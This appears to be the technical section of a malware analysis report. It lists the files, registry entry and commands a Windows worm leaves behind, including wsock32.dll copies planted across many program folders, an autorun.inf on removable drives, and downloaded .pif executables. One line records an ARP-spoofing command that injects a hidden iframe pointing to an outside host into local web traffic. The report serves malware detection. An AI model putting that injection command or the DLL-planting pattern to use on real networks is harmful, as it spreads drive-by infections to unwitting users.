Technical Information
- [<HKLM>\SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}] 'stubpath' = ''
- %WINDIR%\Tasks\ВМ»Ї.bat
- %WINDIR%\Tasks\wsock32.dll
- %WINDIR%\Tasks\csrss.exe
- %WINDIR%\Tasks\hackshen.vbs
- <Drive name for removable media>:\recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe
- <Drive name for removable media>:\autorun.inf
- %TEMP%\k3Bb3dhb64.pif
- %TEMP%\Q8OK82LyGX.pif
- %TEMP%\UYWlZnYluj.pif
- %TEMP%\dRQsjxS5ZS.pif
- %TEMP%\Kp42pnmtzh.pif
- %TEMP%\DcQPcHXTsC.pif
- %TEMP%\qglUgSGKeK.pif
- %TEMP%\xZ56tyzklq.pif
- <SYSTEM32>\arps.com -idx 0 -ip 10.0.0.2-10.0.0.255 -port 80 -insert "<iframe src=http://zr#.#966.org/m.html width=0 height=0></iframe>"
- %TEMP%\RarSFX0\zhxxg.exe
- <SYSTEM32>\wincap.exe
- %WINDIR%\Tasks\csrss.exe
- %TEMP%\dFw3qDjoeK.pif
- %TEMP%\auIRtdFjG2.pif
- %TEMP%\UcBka3FnEl.pif
- %TEMP%\UYWlZnYluj.pif (downloaded from the Internet)
- %TEMP%\Q8OK82LyGX.pif (downloaded from the Internet)
- %TEMP%\dFw3qDjoeK.pif (downloaded from the Internet)
- %TEMP%\Kp42pnmtzh.pif (downloaded from the Internet)
- %TEMP%\DcQPcHXTsC.pif (downloaded from the Internet)
- %TEMP%\auIRtdFjG2.pif (downloaded from the Internet)
- <SYSTEM32>\arps.com (downloaded from the Internet)
- <SYSTEM32>\wincap.exe (downloaded from the Internet)
- %TEMP%\UcBka3FnEl.pif (downloaded from the Internet)
- %TEMP%\qglUgSGKeK.pif (downloaded from the Internet)
- %TEMP%\xZ56tyzklq.pif (downloaded from the Internet)
- %TEMP%\dRQsjxS5ZS.pif (downloaded from the Internet)
- %TEMP%\k3Bb3dhb64.pif (downloaded from the Internet)
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\cmd.exe /c c:\mfxixue.bat
- <SYSTEM32>\svchost.exe
- 360tray.exe
- %CommonProgramFiles%\System\Ole DB\wsock32.dll
- %CommonProgramFiles%\System\msadc\wsock32.dll
- %CommonProgramFiles%\System\ado\wsock32.dll
- %CommonProgramFiles%\System\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\branding\wsock32.dll
- %PROGRAM_FILES%\ComPlus Applications\wsock32.dll
- %CommonProgramFiles%\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\1033\wsock32.dll
- %CommonProgramFiles%\Services\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\1033\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\bookmarks\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\search\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\safebrowsing\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\history\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\certerror\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\migration\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\pageinfo\wsock32.dll
- %CommonProgramFiles%\ODBC\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\vinavbar\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_aut\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_adm\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\VGX\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\VC\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Triedit\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Web Folders\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\scripts\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\scripts\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\wsock32.dll
- %CommonProgramFiles%\MSSoap\Binaries\Resources\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\wsock32.dll
- %TEMP%\dFw3qDjoeK.pif
- %CommonProgramFiles%\MSSoap\Binaries\Resources\wsock32.dll
- %CommonProgramFiles%\ODBC\Data Sources\wsock32.dll
- %CommonProgramFiles%\MSSoap\wsock32.dll
- %CommonProgramFiles%\MSSoap\Binaries\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_aut\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_adm\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\servsupp\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\chajian[1].exe
- %CommonProgramFiles%\Microsoft Shared\web server extensions\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabbrowser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-region\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\win\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\downloads\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\plugins\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\handling\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\extensions\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xpinstall\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xml\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\svg\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xslt\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\unix\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\mac\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\services\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pippki\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\search\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\feedback\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\xpinstall\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\update\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\profile\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pipnss\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\passwordmgr\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\necko\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\security\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\communicator\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabview\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\branding\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabview\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabbrowser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\downloads\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\autoconfig\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\alerts\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser-region\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\cookie\wsock32.dll
- %WINDIR%\mfxixue.ini
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\layout\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\dom\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\migration\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\sidebar\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\safebrowsing\wsock32.dll
- %TEMP%\Kp42pnmtzh.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\8[1].exe
- C:\Far2\Plugins\arclite\wsock32.dll
- C:\Far2\Plugins\AutoWrap\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\9[1].exe
- C:\Far2\Plugins\Colorer\bin\wsock32.dll
- C:\Far2\Plugins\Brackets\wsock32.dll
- C:\Far2\FExcept\wsock32.dll
- C:\Far2\Encyclopedia\wsock32.dll
- C:\Far2\Documentation\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\7[1].exe
- C:\Far2\Plugins\Align\wsock32.dll
- C:\Far2\Plugins\7-Zip\wsock32.dll
- %TEMP%\DcQPcHXTsC.pif
- %TEMP%\Q8OK82LyGX.pif
- C:\Far2\Plugins\Compare\wsock32.dll
- C:\Far2\Plugins\Colorer\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\wsock32.dll
- C:\Far2\Plugins\DrawLine\wsock32.dll
- C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
- C:\Far2\Plugins\EMenu\wsock32.dll
- C:\Far2\Plugins\EditCase\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\10[1].exe
- C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
- %TEMP%\UYWlZnYluj.pif
- C:\Far2\Documentation\rus\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\1[1].exe
- <SYSTEM32>\arps.com
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\arp[1].exe
- %TEMP%\auIRtdFjG2.pif
- C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
- %TEMP%\dRQsjxS5ZS.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\2[1].exe
- C:\mfxixue.bat
- %TEMP%\RarSFX0\test.exe
- %TEMP%\RarSFX0\zhxxg.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\wincap[1].exe
- %TEMP%\UcBka3FnEl.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\3[1].exe
- <SYSTEM32>\wincap.exe
- C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
- C:\Far2\Addons\XLat\wsock32.dll
- C:\Far2\Addons\XLat\Russian\wsock32.dll
- %TEMP%\qglUgSGKeK.pif
- C:\Far2\Addons\wsock32.dll
- %TEMP%\xZ56tyzklq.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\6[1].exe
- C:\Far2\Documentation\eng\wsock32.dll
- %TEMP%\k3Bb3dhb64.pif
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\4[1].exe
- C:\Far2\Addons\Colors\wsock32.dll
- C:\Far2\Addons\Macros\wsock32.dll
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\5[1].exe
- C:\Far2\Addons\Shell\wsock32.dll
- C:\Far2\Addons\SetUp\wsock32.dll
- C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
- C:\Far2\PluginSDK\wsock32.dll
- C:\Far2\PluginSDK\Headers.pas\wsock32.dll
- C:\Far2\PluginSDK\Headers.c\wsock32.dll
- C:\Far2\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
- <Auxiliary element>
- C:\Far2\Plugins\WinSCP\release\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
- C:\Far2\Plugins\WinSCP\resource\wsock32.dll
- C:\Far2\Plugins\wsock32.dll
- C:\Far2\Plugins\WinSCP\wsock32.dll
- C:\Far2\Plugins\WinSCP\windows\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\TextConv\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Stationery\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
- C:\Far2\Plugins\Network\wsock32.dll
- C:\Far2\Plugins\MacroView\wsock32.dll
- C:\Far2\Plugins\HlfViewer\wsock32.dll
- C:\Far2\Plugins\ProcList\wsock32.dll
- C:\Far2\Plugins\WinSCP\console\wsock32.dll
- C:\Far2\Plugins\WinSCP\components\wsock32.dll
- C:\Far2\Plugins\TmpPanel\wsock32.dll
- C:\Far2\Plugins\ExtSearch\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
- C:\Far2\Plugins\FarCmds\wsock32.dll
- C:\Far2\Plugins\FTP\wsock32.dll
- C:\Far2\Plugins\FTP\lib\wsock32.dll
- C:\Far2\Plugins\FileCase\wsock32.dll
- C:\Far2\Plugins\WinSCP\core\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
- C:\Far2\Plugins\WinSCP\fari\wsock32.dll
- C:\Far2\Plugins\WinSCP\far\wsock32.dll
- C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
- C:\Far2\Plugins\WinSCP\lib\wsock32.dll
- C:\Far2\Plugins\WinSCP\forms\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\pageinfo\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\migration\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\history\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\safebrowsing\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\ComPlus Applications\wsock32.dll
- %CommonProgramFiles%\wsock32.dll
- %CommonProgramFiles%\System\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\certerror\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\bookmarks\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\branding\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabview\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\tabbrowser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\content\browser\search\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\aero\browser\feeds\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\wsock32.dll
- %CommonProgramFiles%\MSSoap\Binaries\wsock32.dll
- %CommonProgramFiles%\MSSoap\Binaries\Resources\wsock32.dll
- %CommonProgramFiles%\MSSoap\Binaries\Resources\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_aut\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\isapi\_vti_adm\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_aut\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\_vti_bin\_vti_adm\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\servsupp\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\wsock32.dll
- %CommonProgramFiles%\System\Ole DB\wsock32.dll
- %CommonProgramFiles%\System\msadc\wsock32.dll
- %CommonProgramFiles%\System\ado\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\TTS\1033\wsock32.dll
- %CommonProgramFiles%\ODBC\wsock32.dll
- %CommonProgramFiles%\ODBC\Data Sources\wsock32.dll
- %CommonProgramFiles%\MSSoap\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\wsock32.dll
- %CommonProgramFiles%\SpeechEngines\Microsoft\Lexicon\1033\wsock32.dll
- %CommonProgramFiles%\Services\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\plugins\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\handling\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\extensions\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\update\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\profile\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\downloads\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\unix\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\mac\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-region\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global-platform\win\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\feedback\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\services\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\security\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\search\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\necko\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\mozapps\xpinstall\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pippki\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\pipnss\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\passwordmgr\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\feeds\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\downloads\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\branding\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\preferences\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\places\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\migration\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabview\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\browser\tabbrowser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\browser\skin\classic\communicator\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\svg\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\layout\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\dom\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xslt\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xpinstall\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\global\xml\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\cookie\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\sidebar\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser\safebrowsing\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\autoconfig\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\en-US\alerts\wsock32.dll
- %PROGRAM_FILES%\FireFox\chrome\en-US\locale\browser-region\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\wsock32.dll
- C:\Far2\Plugins\ExtSearch\sources\RegExp\wsock32.dll
- C:\Far2\Plugins\ExtSearch\keys\wsock32.dll
- C:\Far2\Plugins\FileCase\wsock32.dll
- C:\Far2\Plugins\FarCmds\wsock32.dll
- C:\Far2\Plugins\ExtSearch\wsock32.dll
- C:\Far2\Plugins\ExtSearch\doc\wsock32.dll
- C:\Far2\Plugins\Compare\wsock32.dll
- C:\Far2\Plugins\Colorer\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\wsock32.dll
- C:\Far2\Plugins\EMenu\wsock32.dll
- C:\Far2\Plugins\EditCase\wsock32.dll
- C:\Far2\Plugins\DrawLine\wsock32.dll
- C:\Far2\Plugins\WinSCP\core\wsock32.dll
- C:\Far2\Plugins\WinSCP\console\wsock32.dll
- C:\Far2\Plugins\WinSCP\components\wsock32.dll
- C:\Far2\Plugins\WinSCP\fari\wsock32.dll
- C:\Far2\Plugins\WinSCP\far\wsock32.dll
- C:\Far2\Plugins\WinSCP\dragext\wsock32.dll
- C:\Far2\Plugins\TmpPanel\wsock32.dll
- C:\Far2\Plugins\HlfViewer\wsock32.dll
- C:\Far2\Plugins\FTP\wsock32.dll
- C:\Far2\Plugins\FTP\lib\wsock32.dll
- C:\Far2\Plugins\ProcList\wsock32.dll
- C:\Far2\Plugins\Network\wsock32.dll
